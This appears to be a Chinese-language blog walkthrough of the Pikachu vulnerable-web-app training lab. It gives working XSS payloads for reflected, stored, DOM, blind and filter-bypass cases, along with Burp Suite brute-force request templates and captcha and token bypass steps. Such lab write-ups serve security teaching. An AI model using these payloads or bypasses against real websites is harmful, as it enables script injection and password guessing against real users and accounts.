something about Pikachu - Cross-Site Scripting

pikachu

pikachu => 备份地址

Cross-Site Scripting

概述

XSS(跨站脚本攻击)一般常见如下几种类型:

  • 反射型(Reflected)
  • 存储型(Stored)
  • DOM型(DOM)

常见防范手段:

  • 输入过滤

    对输入内容进行过滤,不允许可能导致XSS攻击的字符输入。

  • 输出过滤

    根据输出点的位置对输出到前端的内容进行适当转义。

反射型xxs(get)

在输入框中直接输入对应脚本语句即可。
输入框有长度限制,或者审查元素中修改长度限制,或者直接构造URL

1
http://train.com/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('bad');</script>&submit=submit

反射型xxs(post)

反射型xxs(get)类似。

存储型xss

留言板功能,用户输入未做过滤,直接存储在DB中,取出渲染时也未做处理。 直接存入脚本语句即可。

DOM型XSS

在输入框中输入的内容会被拼接成超链接的href属性,因此构造闭合标签。

1
'></a> <img src="nothing" onerror="alert('bad');" /> <a href='

DOM型XSS-x

在输入框中输入的内容会被拼接成超链接的href属性,但是必须要先点击先出现的超链接,触发domxss()方法,
才会拼接生成对应超链接。

构造闭合标签与DOM型XSS相同。

XSS之盲打

盲打就是注入脚本后,没有即时反馈。
因此需要尽可能多的提交XSS语句,查看哪些语句被执行了。

此次盲打是存储型XSS,是输入意见名字,因此对应注入:

意见

1
<script>alert('msg');</script>

名字

1
<script>alert('name');</script>

登录显示页面查看: 全部注入成功。

1
http://train.com/pikachu/vul/xss/xssblind/admin.php

XSS之过滤

<script>标签被过滤了,使用<img/>标签注入。 只是简单的直接匹配,大小写转换后尝试,<SCRIPT>也可以。

1
<img src="nothing" onerror="alert('bad');" />

XSS之htmlspecialchars

php的htmlspecialchars()函数将字符转换为html实体,如<转换为&lt;

利用<a>标签的onclick事件,不使用特殊符号,只使用'(单引号)。

1
' onclick='alert(/bad/);'

XSS之href输出

html<a>标签的href属性可以指定script

1
<a href="javascript:alert('bad')"> 阁下自己输入的url还请自己点一下吧</a>

XSS之js输出

内容提交后,拼接到script中,由javascript根据内容判断渲染什么内容。
因此可以构造闭合<script>标签。

1
';</script><script>alert("bad");</script>

something about Pikachu - Burte Force

pikachu

pikachu => 备份地址

Brute Force(暴力破解)

基于表单的暴力破解

  • 使用burpsuite抓包,利用字典破解

    针对password进行暴破。

    1
    username=admin&password=§passwd§&submit=Login

验证码绕过(on Server)

此验证码只要不刷新,就可以无限使用,因此暴力破解比较简单。

基于表单的暴力破解相同,对password进行暴力破解。

1
username=admin&password=§passwd§&vcode=35kmjk&submit=Login

验证码绕过(on Client)

此验证码为纯前端验证码,审查元素中去除formonsubmit事件。然后与基于表单的暴力破解相同。

1
2
3
<form id="bf_client" method="post" action="bf_client.php" onsubmit="return validate();">
<!-- content -->
</form>

token防暴破

此验证码使用token验证,请求页面时页面内有隐藏的token内容。使用burpsuite时,设置通过
正则从响应中获取token,暴力破解。

从页面中获取token设置参考:brute force(#High)

针对passwordtoken暴力破解。

1
username=admin&password=§password§&token=§2614161ae1e6869d9e496577103§&submit=Login